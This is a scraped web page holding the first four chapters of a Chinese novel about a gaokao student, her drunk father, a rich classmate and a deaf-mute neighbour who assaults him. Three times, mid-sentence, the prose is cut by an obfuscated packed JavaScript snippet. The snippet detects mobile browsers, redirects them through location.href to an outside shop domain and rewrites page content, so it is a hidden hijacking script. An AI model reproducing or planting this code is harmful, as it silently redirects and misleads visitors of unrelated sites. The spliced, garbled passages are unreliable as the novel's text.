《青皮柠檬绿火车》 1. 青皮 易佳期又是推着自行车回家的。 这破车一个月不知道要掉几次链子,简直连上一休一的工作频率都达不到。 易佳期把车推到楼下面,她蹲下来,仔细给这辆几近报废的山地车上锁。离高考还有不到四个月,各科老师开始反复的测验,讲卷子,一模二模接踵而至,晚自习上到越来越晚,每逢老师占课还要拖堂。 已经是深夜,四处黑灯瞎火,易佳期伸手搓了搓被风吹了一路的脸颊,冷的有些发硬。 所有的季节里,她最喜欢春天和秋天,没有特别浪漫的原因,只有这两个季节不需要额外花钱就能享受适宜的温度。 锁好车,她把书包悠到肩上,从单元门的门槛蹦进去,声控灯颤颤巍巍的亮了。 随后,爬楼梯,转弯,上楼。 最普通的单元楼,回迁房,楼道很简陋,一层两户人家,正对着,用着相似的大门。上到最后一层台阶,易佳期抬脚,越过横在过道上的人。 她刚把钥匙插进去,又转回身来,把书包往地上一撂。 醉酒的人呼出来的气都是臭的,易佳期捂住鼻子,另一只手去翻地上那人身上的口袋。 地上躺着的人是她爸,她没钱了,去掏他兜里的钱非常合理。 她没什么耐心,动作很粗鲁,这事她不是第一次做,张克强的脑子都快被酒泡发了,清醒的时候也像个酒鬼,喝醉了那更是死人,拿刀捅他几下都不带反应的,只偷他点钱简直不要太善良。 她上衣兜掏完,掏裤兜,掏来掏去就是不见红票,只摸出来一把零钱。 易佳期有些失望,“呸”的一声非常干脆地朝张克强吐了口唾沫,“吸血鬼!赔钱货!” “早该让你躺大马路上被车轧死。” 易佳期说的不是气话,张克强这种人,一眼望到头,到死都是穷人,永远不会翻身的破烂,不知道活个什么劲,还真不如买份保险早点死了,能拿个赔付下来也衬得上光宗耀祖。 他这样的人在这个小县城比比皆是,大家都是这样,能上学就上,不能上就去打工,稍微有点想法的做个小生意,即使哪家比较富裕,也绝不会超出想象。 对于混日子,这破地方算得上人才济济,张克强比差都拔不了头筹。 易佳期烦死这里了。 她拉开书包,把钱塞到课本里。翻开的是生物课本,这么一打岔,易佳期忽然想起生物老师讲脑部结构时,发散出来的小知识。 “醉酒的人最好不要平躺,到时候吐一脸一身的,很容易窒息,一不小心就狗带了。” 易佳期沉思了两秒,随后很仔细地将张克强的背扳过来,让他平躺。 这边她刚把张克强放平,楼下却咚咚咚咚一阵脚步声,声控灯由远及近亮起来。 易佳期很烦躁地啧了一声。 很显然,这阵异响打断了她试验的兴致。 她朝着灯光亮起的方向看过去,黑暗里冒出一张瘦削的脸,停在台阶上看着她,脸色怔然。 来的是熟人,对门的哑巴邻居李树。 也是个蠢得尿血的东西。 见他盯着自己,一动不动,不知道又是在打什么主意。 易佳期气不打一处来,“看什么?又想当救世主?再多管闲事信不信你明天出门就和你爸一样被车创死!”鉴于哑巴有犯蠢前科,她索性也丑话说在前头。 说完又想起来哑巴不仅哑巴,更是个聋子,易佳期懒得朝他比划什么手语,冷哼一声,抬起手对着哑巴竖了个中指。 不等哑巴做出反应,她便站起来,转身甩上了门。 进了门,将门反锁上,易佳期睡了整宿的安稳觉。 走读生不用上早早读,不过也得六点半之前到校。起床的时候外头还黑着,易佳期咬着牙坐起来,闭着眼套上校服。 穿鞋,洗漱,就着沾水的梳子把脑门梳到一望无际。 随后推开门,从张克强身上跨过去,将手里的垃圾袋顺手扔到哑巴门口。 这倒也不能怪她,这房子的入户门没有门槛,有时候实在是太方便了,易佳期扫着扫着地,都能顺手把垃圾扫到哑巴家门前。 再说,他本来就欠她一百万,无论她怎么对待他,难道他不都应该受着? 到了楼下,易佳期又想起来一个要紧事,山地车最近总掉链子,兴许该上油了。但临近高考,学校恨不得把她们拴在课桌边上,扬起鞭子就是赶,周末是越给越少,修车这事近期是不要想了。 车棚里的灯光不算亮堂,易佳期左顾右盼,视线落在最里头的那辆自行车上。 那车是很老的牌子,变速车兴起之后,很少有人骑这种老实巴交的款式了。不过保养的很用心,白白净净的,和它的主人一样。 她顺手拧了拧车把,骑上去试了试,又顺脚蹬了蹬踏板,车子自己动了,载着她扬长而去。 到班里刚把书包撂下,前桌就迫不及待趴到她桌上,一脸神秘,“过几天县教育局的要过来,你知道不?” “来就来呗,又不放假。” 前桌啧了一声,显然她的反应并没有满足她,“都说是冲着你来的,你就没啥感想啊?” “什么感想?”易佳期道:“感谢上苍感谢党?” 前桌把脸一托,“感谢这么多,怎么没有你可爱的前桌。” “不过你这回真是神了。省联考出排名那天,老魏脸都快笑烂了,就现在,你别说一个三好了,你要是开口,想当校董她都能给你申请下来。” 老魏是她们的级部主任,铁面无私,冷面好吃。 易佳期翻开单词本,“那是,前几天把房本都准备掏给我了。” 前桌瞪眼:“真的啊?!” 易佳期点头:“假的呀。” 前桌无语转回头去。 很快她又转回来:“不过自主招生你真不打算报北大啦?” “反正学校给你出钱,你还不如北京上海都去一趟,就当旅游了。”说完,她往边上空缺的位置瞟了瞟:“我刚还听见说季昀打算报俩呢,省里一个,上海一个。” 季昀也要去上海? 易佳期心里冒出许多不快。 她面上不显,淡淡道:“我选好了就不会改。” 前桌点头:“也是,季昀成绩和你没法比,他报个省内的还能稳当一点,不像你,想上哪上哪。” 这样的拉踩听着还是很舒心的,易佳期搭话,想听前桌继续说下去。 “他的成绩还行吧,和我差不了多少。” “那可差多了,别以为我不懂边际效应。到你们这个分数段,十分的差距都很可怕了好不好,更何况那是四十多分,直接好几个档次了好吧。” “省内985我觉得他都够呛能拿下。” “他刚还想和你一样报上海的C9,感觉也是异想天开,应该就指望着撞大运捡漏了。” 前桌越说越嗨。 每当这种时候,易佳期总是格外欣赏前桌的口无遮拦,以及喋喋不休。 “不过他家里那么衬钱,倒是也不差这一个自主招生。” 这句就不怎么中听了。 在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485749|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她们这里,产业单一,娱乐也不丰富,县里第一个大型超市就是季昀家开的。 “我家要是那么有钱,我早就撺掇我妈送我出国潇洒去了。”前桌还在说。 易佳期彻底笑不出来了。 她将单词书立起来,不着痕迹地送客,“我要背单词了。” “那下课再聊。”前桌意犹未尽,留着头慢吞吞地转回身去。 早自习快结束季昀才回到班里。 “薛老师让你去她办公室一趟。” 易佳期头都没抬,“知道了。” 季昀没动,继续看着她,“是报名的事情。” “本来薛老师想喊我们一起,但你当时还没来,值班老师一直催,我只能先过去了。” 说的什么叽里咕噜的,废话连篇。 没有人问你好吗?有人问你吗?到底谁问你了? 一天到晚净给自己加戏。 有钱人就是这么爱自说自话,一点也不在意别人到底感不感兴趣,烦人。 易佳期重复:“知道了,还有什么事?” 季昀挠头,“那个...” 他的话刚开头,就被易佳期恶意打断:“就算有什么事也等会再说好吧?!” 易佳期脸上露出被打扰的表情。 季昀果然很尴尬,“不好意思,对不起,抱歉啊。” 易佳期的报名材料早交上去了,到了办公室,薛老师已经用电脑开始给她录入信息,易佳期成了闲人一个,只好坐在一旁,吃着薛老师给她的汉堡。 “好吃吗?”薛老师偶尔转头看看她,“你佳佳姐说现在外面的小孩就爱吃这个。” 薛佳是薛老师的女儿,已经上了大学,成天小孩小孩地喊她,总是忽略她比她大不了三岁。 “好吃啊。”易佳期晃着腿,不着调,“这个你也给季昀了吗?” 薛老师扶了扶眼镜,笑声爽朗,“你回了班别和他说。” 那就是没给,易佳期觉得这个汉堡更好吃了。 她的目光在办公室里打转。主科老师的办公室按科目分,哪个级部的都有,易佳期来了好多趟,依旧能发现许多生面孔。 比如现在朝她面对面过来的男老师,她就没什么印象。 那老师边走边用很熟的语气和她说话,或者说,是和薛老师说话。 “这什么,又一个自主招生的?” 他在薛老师的身侧站定,打量着屏幕上的报名信息。 看到信息栏里的大学名称,那男老师眉毛挑了挑,一脸意外:“上海啊?” “女孩子家家的跑这么远?咱省内不也有985吗?还方便回家。” 易佳期眉毛皱起来。 苍蝇。 她身边的所有动物里,这个男老师被划分成为苍蝇。 无论是老鼠,猪,还是狐狸,都算有智力的物种,而这个男老师,是毫无智慧的苍蝇。 对世界没有看法,没有认知,传播病害,繁殖力又过强,相比其它昆虫,它们无法沉默,既多见又聒噪,很难不将其视作灾难。 她盯着他看:“你认识我吗?” 男老师显然没想到她这样反问。 易佳期换种说法:“你了解我的成绩?还是年纪排名?又或者家庭状况?” 男老师:“你又不是我学生...” 易佳期没给他说完话的机会,继续发问:“所以你完全不了解我的情况,那我想知道,作为老师,你是从哪个方面考虑,向我一个快高考的学生提出这样的建议,仅仅因为我的性别?” 2. 柠檬 易佳期的声音不大不小,不远处的几个老师听见动静都抬头看过来。 被易佳期连珠炮似的质问,男老师脸上有点挂不住,再开口时话里明显带了火气,“薛老师,你这个学生脾气还挺大,说一句她八句在那等着。” 一副我不和你一个学生计较,但我要让你老师收拾你的架势。 不料,薛老师头都没抬,“那是。” 她慢条斯理地将申请提交,“我这学生本事比脾气大多了。” “人家这次省联考排名前十里的,去清北都没问题,老魏要是知道你劝她留在省内,瘸着腿都得爬楼来踹你。” 这条补充信息一出,男老师气势明显弱下来,“我又不知道情况...” “那我学生不还真是说到点儿上了吗,又不知道情况,你老跟着瞎掺和什么?” 争吵最后以男老师的示弱结尾。 临阳一中的早饭时间安排在跑操后,回到班里,大部分人都还没回来。 教室里却并不安静。 季昀和她一样,走读生,早饭在家吃。 他带了手机,最新款,几个男生像往常一样围在他身边,不知疲倦地捧他臭脚。 最新款手机在他们之间来回传递。 “肾6啊,还是传说中的土豪金,啧啧,真是有钱任性!” “我看看我看看。” “我能玩一下吗?” 从这个角度只能看到季昀的背影,只听见他笑,“可以,随便玩。” “这是什么表,没见过啊?” 其中一个人凑到他手边,指着他的手腕。 季昀:“iwatch。” “你要吃啥?” 季昀笑了笑,“就是苹果手表。” 一个破手表有什么好显摆的?这个镶金的贱人。 易佳期径直回到座位上,拉开板凳,铁皮在地板上刮出让人牙酸的声响。 季昀听见声音,转头看她。 其它几个人下意识拿书去盖手机。 “没事。”季昀说。 几个人这才看见来的是易佳期,都松了口气,“害,吓死我了,我以为老魏呢。” 易佳期看了一眼,“新买的?” 季昀眼睛一亮,对着她点头:“刚刚激活。” 说完,他将手机从眼镜手里要过来,在校服上擦了擦:“你要玩吗?” 眼镜搭腔:“可好玩了,网速唰唰的,玩游戏一点都不卡。” “不了。”易佳期将桌子上的单词书收起来,掏出一套卷子。 见易佳期要做题,眼镜吸气:“你真不玩啊?” “这种诱惑都能坐怀不乱。”眼镜很有感触的样子,“果然是学霸,我好像找到我学习差的原因了。” 其它几个人笑他:“你纯粹是硬件没跟上,季昀天天玩手机打电脑不是照样当学神。” 学神这个词用得相当刺耳。 易佳期停下笔,侧眼。 季昀只笑了笑,没有反驳。 易佳期从办公室一路压下去的火,一下就窜了上来。 凭什么? 报名的时候那男老师有给过季昀建议吗?有怀疑季昀的能力吗? 说不定还要鼓励他去上海闯一闯吧! 这些男人、蠢货、有钱人、穷鬼,在她眼里全都面目可憎。 什么学神?易佳期知道自己的水平,也知道季昀的水平,她的成绩,季昀不是不想考,而是考不到。 光是300块钱一小时的线上家教,季昀家里就给他请了三个,三个清北学生都拉扯不起来他的成绩,易佳期要是他,直接开窗户就跳了。 按道理说,从天资上来看,她和季昀算得上天壤之别。 她实在没必要在意季昀这些拙劣的借口。 但这并不能让她忽略季昀,他的故作轻松、自作聪明、炫耀和关注,都让她格外憎恨! 她受够这坨贪婪的狗屎,围在她脚边,没日没夜的招致苍蝇。 易佳期开口:“既然你家里有电脑,怎么还非得用学校的电脑报名。” 季昀愣了一下,“那个...” “是想确认一下我报名的学校和你打听到的是不是一个,对吧?” 季昀脸色有些不自然,看样子真心虚了。 “你都知道啦?”他挠头:“杉大是我家里人让报的,我想去上海,想和你一个学校。” “欧呦~”旁边几个人不知道发什么神经,突然怪叫。 易佳期很直接:“你考不上。” 周围的怪叫显然弱下来。 易佳期:“复读一年你都考不上。” 如果说,刚才几个人还不确定易佳期的态度,那么这句已经是明晃晃的嘲讽了。 季昀的笑容僵在脸上。 一时间,空气诡异地沉默下来。 李树就踩着这阵沉默闷头跑进来。 几个人视线都不免往李树身上偏移,不单是为了缓解尴尬,还因为.... 三月的天气,甚至算不上暖和,李树却满头满脸的汗,顺着鬓角往下滴水。 一个哑巴,坐在那呼哧带喘,反而成了教室里声音最大的人。 偏偏他还是聋子,根本听不到自己发出的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485750|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>简直旁若无人。 “这是干啥去了,犁了二里地似的。”眼镜小声说。 没人好意思跑前去提醒他。 李树在班里没什么朋友。 不是因为他残疾,相反,刚开学那阵,大家为了不让他多心,换着班的和他组搭子。 只是几番接触,大家都看得出来,他实在没什么和人交际的欲望。 组搭子的人里当然不包括易佳期。 这也是当时让班里人都相当困惑的事情,易佳期很讨厌李树。 她人缘好,几乎和所有人都处得来,唯独讨厌李树。她从不和李树讲话,甚至不要李树碰过的东西。 后来,这种困惑随着李树一次次的打架通报缓缓消失。 班里的人陆陆续续回来,串位置的几人顺势三三两两离开。 季昀还想挣扎。 他将纸条夹进笔记里,扔到易佳期桌子上。 “你刚刚怎么了,如果我哪里让你不开心了,我可以向你道歉。” 她们经常这样传纸条,季昀想,相比于直接的对话,也许写在纸条上,可以剥离掉语气带来的误解。 易佳期将笔记拿了起来,纸条轻飘飘地飞出,季昀的字写得又大又板正,纸条上的内容,即便她不用心去看,扫一眼也读到了大概。 季昀的确欠她一个道歉。 季昀这种人欠很多人一个道歉。 易佳期拿起笔,把话直接写在了笔记上。 见状,季昀简直喜上眉梢,忙不迭地伸出双手来接。 没成想易佳期看都没有看他,笔记被她扔向一个所有人都没想到的角度。 莹白的纸张在空气里翻动,簌簌作响。 最后,结结实实地砸到李树的桌子上。 这下,易佳期是把拒绝沟通的意思摆在明面上了。 季昀“轰”的一下站起来,眼镜抓紧拉住他,“预备铃都打完了,老师马上就过来,你歇停会儿吧。” “我歇什么?你没看见吗,易佳期把我们传纸条的笔记都给扔了,她以后都不想理我了!” 眼镜:“不是在李树桌子上吗?” 季昀:“所以说啊,那和扔了有什么区别?” 眼镜:....这么说还真是。 “不过你俩本身也没什么大矛盾吧,兴许是有什么误会,你别着急,等她气消了再慢慢问。” 季昀想了想,也只好点头。 这时的他满心祈祷这一切都只是个小插曲。 眼镜也这么劝慰他。 直到一周后的早读,季昀被李树打到住院的消息传遍整个年级。 3. 绿火车 “对朝夕相处的同班同学大打出手,甚至打进医院!这是什么样的人!什么样的学生!能做出来这样的事情!” “放学后不回家!在外面呼朋唤友,找一些个社会上的人员,对同学进行围追堵截!你们是学生还是□□!” “这件事影响极其恶劣!县里面的领导知道了也是很震惊。” “我和朱校长也商量了,对这个学生的处理就是必须开除!借由这个事情,学校也在这表明一下态度,不要以为你们高三了,快高考了,就能为所欲为,想干什么干什么。” “还有一些个,仗着高三的身份,放了学去别的年级宿舍区耍威风,这些事情我们老师不是不知道!早恋的,带手机的,我们也是睁一只眼闭一只眼!但现在我发现,有些同学,他就不值得原谅!从今天开始,违反校规校纪的!有一个算一个,通通开除!” “不要到时候说我快高考了怎么怎么,犯了事你还想高考?进了考场都得给你拽出来!” 黑板上头的喇叭震了一整个课间。 李树和季昀的座位一前一后地空着,印刷的试卷灰蒙蒙地盖在他们的课桌上,压得三班每个人心里都沉甸甸。 距离高考还有115天。 平心而论,老魏说的话没有错,临近高考,她们接受着前有未有的优待与宽容。 马上就高考了,你别总是给她压力。 马上就高考了,不要影响她们学习。 马上就高考了,就算有什么事情也等高考后再说。 就连老魏,口头禅也完成了更新迭代,“等高考完了我再收拾你。” 所有人都对她们有责任,在这场人生大事中让步。 而现在,马上高考了,她们的同学,一个进了派出所,一个进了医院。这两个地方,无论哪一个,都没办法等到高考后再说。 易佳期和往常一样,按照年份过着各省的高考原题。 她刷题的速度快,许是手感不错,一天下来,还比之前多刷了两套理综。 晚自习,薛老师把她叫到办公室里,初审结果出来了。 “这段时间抽空收拾下行李,笔试的时候我陪你去。” 易佳期点头,其实她倒是没什么想法,之前各种竞赛,都是她自己一个人买票找酒店,也没见她把自己弄丢了。 而且对于她来说,相比于陌生城市,她更愿意称它们为新鲜城市。 薛老师继续叮嘱她:“记得过两天把身份证带过来,我给你买车票。” 老魏吹着杯口过来,“咱们这离上海远,硬座遭罪,买卧铺,学校给报销。” 杯子里装的是热水,雾气袅袅,半晌才漏出老魏的下巴,和她嘴上的两个大泡。 易佳期不由自主盯着她嘴巴上的泡泡看。 薛老师:“怎么回事,感冒了?” 老魏摇头,“没事,有点上火。” 薛老师叹气,没接话,大家都心知肚明老魏在为什么事情着急上火。 季昀那事儿是在学校附近发生的,季昀的家长嘴上不说,但对学校这边也没什么好脸色。 易佳期听说,前几天老魏在医院蹲了一宿,忙前忙后,连口水都没喝上。 “季昀呢,他还去参加笔试吗?”易佳期问。 老魏鼻孔出气:“那还去啥,五个手指头断了四个,手包的跟机器猫似的。” 薛老师忍不住纠正她,“是根,五根手指头断了四根。” 老魏:“对对。”她嘀咕嘀咕重说:“五根手指头断了四根。” 薛老师先反应过来,“哎呀,你和孩子说这干啥?” 老魏:“对对。”她冲易佳期摆手,“你就别操心这个了,好好准备笔试。” “等会我批个假条。小英你过几天带着她上站点买票,顺便在外面吃个饭,买点东西。”她自顾自安排:“主要给她放松放松,缓解一下紧张情绪。” 易佳期一本正经:“主任,我不紧张。” 老魏也一本正经:“对对,主任紧张。” 临走前,易佳期问:“薛老师,主任,我能不能去看看季昀。” 薛老师没说话,老魏面露难色:“这个时候你去看他...不太合适吧。” 原本的情况下,季昀应该和易佳期一样,买车票、订酒店、收拾行李,忙忙碌碌,冲着光明的前程大步向前。 而现在,他躺在病床上,断了四根手指,能不能参加高考还未可知。 这种对比,太残忍了。 易佳期将假条揣进兜里,“我只是不想让他觉得,他发生了这么大的事情,我们这些同学却没有一个人在意。” 薛老师:“佳期考虑的有道理。” 薛老师有女儿,她最知道,相比于其它所谓的人生大事,显然无人关注无人在意对这个年龄段的孩子,才是真的“天都塌了”。 她转头朝老魏说:“就让她去吧。” 老魏思忖了片刻:“也行,你们同龄人更说得上话,说不定季昀能对你敞开心扉。”她长长叹了一口气,“听他爸说,这几天他夜夜趴床上哭到睡着,见到人了又假装没事。” “你劝劝他,别灰心,就算今年不行,还有明年呢。” * 去医院的上午,阳光明媚。 薛老师带着易佳期吃完饭,开车把她放到医院门口。“我就不上去了,等会正好你魏主任带你回去。” 老魏早早等在那里,易佳期见到人便提着东西下来。 见她提东西下来,老魏招呼她:“东西先放我车里。” 易佳期:“这是给季昀带的。” 老魏挺惊讶:“你这人情世故挺周到啊,这他等会不得请你吃个饭。” 易佳期挺仗义地将成箱的奶往老魏手里一塞,“主任,这箱你的。”说完,她晃了晃手里的一嘟噜葡萄,“这我的。” 老魏没想到还有她的份儿,哭笑不得,“多少钱,我给你报销。” 易佳期很潇洒:“都多余说这些了。” 到了楼上,先见到的是季昀的妈妈,这样看,季昀与她妈妈长得很像,个头高,眉毛粗黑,神色锐利。 季昀妈妈对来人的态度很冷淡,只有面对着易佳期这个无辜学生时,才勉强挤出一点笑容。 易佳期明白,她是实在没有心情谅解任何人。 从病房的窗户看进去,季昀平躺在床上,眼睛却往外面看,留给玻璃的,只是一个沉默的后脑勺。 易佳期回头去寻老魏,老魏看见了,小声回应她:“进去吧,去吧。” 季昀妈妈也点头,无声地默许了。 易佳期提着葡萄进去。 葡萄这东西最招虫子了。 季昀听见脚步声,脑袋动了动,声音恹恹的,“妈,爸,我真不想吃。” “季昀,是我。”易佳期出声。 季昀心里一个咯噔,脖子僵直。他缓了缓,半晌才转过脸来,“你,你怎么来了。” 他抬了抬手,想整理一下发型,可他左手在输液,右手更不方便,只好作罢。 易佳期将葡萄搁在他的床头柜上。 季昀坐起身来,眼睛直直盯着她看,端详得不能再仔细了。 “你不生我气了?”他还在想那天的事情。 易佳期视线落在他受伤的右手,没有立刻回答他的问题,反而伸出指尖摸了摸:“你的手还能动吗?” 季昀摇头,神色颓唐。 易佳期不合时宜地发现,季昀长得居然很漂亮。 从前只觉得他讨厌,现今他有难了,落魄了,易佳期才发现他丑陋的心外面,包着的原来是美丽的皮囊。 “你都这么惨了,我还生气干什么?”易佳期将心里的想法说出来。 季昀当她开玩笑,捧场般地应笑,脸上终于有了血色。他下意识想挠头,手刚动了动,又尴尬地放下。 “那天,你和李树到底怎么了?你这手又是怎么回事?” 季昀早猜到易佳期会问他那天的事情,毕竟,这种事吧,谁都好奇。 但这事神就神在,作为当事人,他对整件事的前因后果也一知半解。 李树是突然冲上来的,完全没有开场白,逮住他直接一顿猛捶。恰逢他回家的那条路撞上检修,黑灯瞎火,他也是被按到地上,两人脸冲脸,他才认出来揍他的人是李树。 李树与他并无恩怨,甚至从无交际。如果不是分到一个班里,他和李树几乎等同于陌生人。 显然,李树绝对是打错人了。 “那你怎么不和他解释?”易佳期耐心地听着他讲的每一个字。 说到这,季昀脸都黑了:“我说了,他是聋子啊!他像疯了一样揍我,那么黑的地方,他看不见我的脸,倒是能找到我的手。” 季昀展开手掌,“五根手指啊,他把四根都掰折了!” 瞅着他孤零零的小拇指,易佳期安慰道:“你往好处想,他起码还给你留个小拇指挖耳朵。” 季昀摇头:“你真乐观,我做不到。” 那当然,她又没挨揍,没有理由不乐观。 “你知道吗,李树还找了律师,”季昀觉得很荒谬,“他想让我同意和解。” 李树哪来的钱?还请律师?易佳期瞬间警觉。 季昀沉浸在愤怒当中,自然没注意易佳期一闪而过的惊讶。“我不想和解,我只想让他坐牢。” 易佳期打断他:“别说他了,那你呢,你以后打算怎么办?” 季昀往病房外看了看,“我家里人打算送我出国。” “她们原本对我的人生规划就是出国读书,只是之前我一直坚持本科要在国内读....”说到这,季昀停顿了一下,瞥了她一眼。 “但现在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485751|201994||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一切都是没有办法的事。” 出国,易佳期只听得到这个词了。 出国,出国,出国,能不能不要再说出国了!所有人都被出国害了!这都是美国的阴谋! “怎么没办法?”易佳期乍然出声,季昀被她吓了一跳。 “季昀,你跟我吧,我们一起去上海。” * 伤情鉴定出来的很快。 季昀除大拇指食指为线性骨折外,其它均为骨裂,经过评估后,伤情被鉴定为轻微伤。 由于并非初犯,李树结实地在派出所住满了七天。 放人那天,薛老师过来领他。 “姓名?” “薛英,他的班主任。” 男警察抬头看了她一眼,没多问。李树的家庭关系一栏是空的,孤儿。 一个县就这么大,所里的警察来来回回就那么几个,没人不知道李树的情况。 他妈得了绝症,正值壮年撒手人寰。 隔了没几年,他爸出了交通事故,进了icu,一个晚上就没了。 这孩子,很惨,很惨。 但这种感受仅限于李树还小的时候,当苦命的孤儿长成了罪犯预备役,身世再悲惨也实在让人难以同情。 男警察的态度很差,拽着李树的领子将他从里头薅出来。 “都说人要脸树要皮,你也挺大一个小伙子了,每回都让你们班主任来这领你,真不嫌丢人!” 李树没有表情,任由男警察推着他走。 警察局外头的风有点凉,薛英站在风口,李树跟在她后面,也没有动。 漫长的沉默。 良久,薛英才转过头来,「你应该知道了吧,以后我不是你的班主任了。」 她用上了学了好几天的手语。 李树很惊讶,表情明显地愣住了。 薛英等着李树用手语回应她,但李树看着她很久,最终也只是点了点头。 还是这样,最后,竟然还是这样。 薛英气笑了,她脾气一直很好,但现在,她真的真的很想往李树的脸上扇一巴掌。 薛英当了李树三年的班主任,她不是不想管教他,而是真的不知道怎么管。 李树和所有学生都不一样。 他是孤儿,还是残疾人。一个满是创伤的孩子。 而且,也许是无法与人交流,李树的想法和其她学生,完全不同。 这种不同,区别于易佳期的离经叛道,李树,对她来说,是另一个世界的存在。 薛英有一堂写作课。 这堂课从高一一直延续到高三,不限文体、不限虚实、甚至不限长度。 薛英本意是想通过这堂课,了解每一个学生的想法、兴趣、对世界的观点,她也的确做到了。 只有李树,从不配合。 他固定在每一张写作纸上写下:我不知道。 只有一次例外,那堂课的主题是“你为什么而活着”。 李树的纸上只有八个字。 “因为没死,所以活着。” 她从那一次开始怀疑,李树是否是外星人。 后来,那张写作纸被易佳期看到,她在她的办公室开怀大笑。薛英不懂,问她笑什么。 易佳期却说:“这篇文章很有道理。” 她称这短短一句话为文章。 于是,她开始怀疑,易佳期是否也是外星人。 只是,这种怀疑稍纵即逝,易佳期的许多观点,虽然乍见耸人听闻,细想却不乏真理,薛英信赖她。 想到易佳期,薛英眉目缓和许多。 气归气,薛英对李树的未来依旧担忧,她继续用手语问他:「你以后准备干什么。」 李树搓了搓手指,摆出数钱的动作。 「赚钱。」 薛英估摸出他的意思。 这个回答很有李树的风格。 薛英不想追问了,问也问不出个一二三。剩下的话她不会比了,只好用嘴说,她知道,李树会读唇语。 “过几天我就要去上海了,你有点良心的话,以后就好好做人,别再犯事了。” 看到这句话,李树眼神明显变得专注。 他嘴巴张了张,重复了一下上海的口型,对着她比出一个“八”。 八? 薛英诡异地明白了他的意思,“易佳期?”她问。 李树用力点头。 薛英有点绝望,她竟然能看懂,看来她离外星也不远了。 “你问她干什么?”薛英语气严厉,很快,她反应过来,将严厉转而表现在脸上。 李树摆摆手,表示自己不问了。 他对她比划了真正的手语。 很简单的一句话,薛英能够看懂。 「老师,对不起,谢谢你!」 还有,「再见」。 4. 青皮 李树和薛英分开的时候恰是饭点。 薛英往东,李树往西。 李树家在县城的最西边,那一片都是回迁房,骑着车再蹬几下就能上国道了。那里是小城的表皮。 坐公交要坐到终点站,很划算。 李树心里有事,到了家没有吃饭,也吃不下。一进门他就冲进睡觉的房间里,说是房间,其实很简陋,一张铁架床,一张捡来的桌子,就是所有。 他从抽屉的最下面掏出一个塑料袋,剥开里头的超市促销广告,露出红彤彤的一沓票子。 李树反复清点了几遍,70张,一张没少。 他松了口气,掀开内裤,将钱分两份放进内侧的口袋里。 折起来的现金很厚,有点磨肚子,这种存在感让李树很安心。 临走前,他把书包倒过来,从地上捡了只笔和几张卷子,顺手塞进裤兜里。 第一站是街头的数码店。回迁房这边虽然偏,倒也有自己的商业生态,该有的店面都不缺。 街口的这家数码店,李树总是路过,从没有进去过。 店面不大,只一个开间,正对着当门的,就是一排智能触屏手机。李树大步跨进去。 老板正在吃饭,见李树进来,把筷子一撂站起来。 李树掏出兜里的卷子,摊开反面,他指着上面的字给老板看。 板板正正的几个大字,“我要买苹果6”。 为了防止老板会错意,后面跟着括号,(iphone)。 老板有点摸不着头,“你这啥意思?” 李树指了指耳朵,摆手,在纸上又写上几个字,[我听不见] 老板明白了,不多问,从柜台里掏出一个黑色的手机,推到李树面前。还不等李树检查后盖上的图案,老板就率先给手机开了机。 几道热闹的震动过后,屏幕缓缓现出几个大字。 “美国有苹果,中国有菠萝!” 李树摇头,不等老板推销,转身就走。 跑了几个店面,情况都差不多,要么没有,要么山寨。 最后一家老板算是好心,告诉他,商业街上有个手机大卖场,那里兴许有几台。 李树长了教训,这次一到地方就把要求写清。 “买苹果6,土豪金色,要咬过的,没咬不买。” 男店员拈起卷子的一角拿起来,看一眼字,看一眼他,“学生?让你家长带你来买。” 李树,[我有钱。] “行吧,”店员指了指柜台上的样机,“就这个,你看看吧,确定要买我再给你拿。” 李树把样机拿起来,翻面。 土金色、上面带苹果,苹果也被咬过,就是这个。 他点头,[多少钱] 男店员看他真要买,有点惊讶,“目前这款店里只有64G,6800,买的话送你个真皮手机壳。” 李树摸了摸肚子,钱还在。 他指挥店员,[你把脸给我转过去。] 李树没要卖场专门的包装袋,手机往怀里一揣,一头扎进人群。 正赶上周末,商业街上车多人多,什么人都有,也杂。李树擞紧外套,东拐西拐钻进一条小巷,零星开着几家小店,往东数200米就是县里最热闹的地方,这里却人少的像地道。 李树对这种小路有老鼠般的直觉。 人群让他没有安全感。 天光暗下来了,身上的小灵通震动了几下,他加快脚步,几乎小跑起来。 小路前头穿过一个建筑工地,路边到处堆的都是建筑垃圾,路不好开,除了上班的工人,行人很少走这边。 李树闷着头往前。 离家越老越近,他的脚步停了。 抬头,几个人一前一后从路边的石墩子上站起来。 抽烟的男人最后站起来,往前走了几步。 一边抖烟灰,一边问他:“咱们好歹朋友一场,现在哥们困难了问你借点钱,你倒好连消息都不回了?” “树儿,这样做人可不地道。” 来的不是善茬。 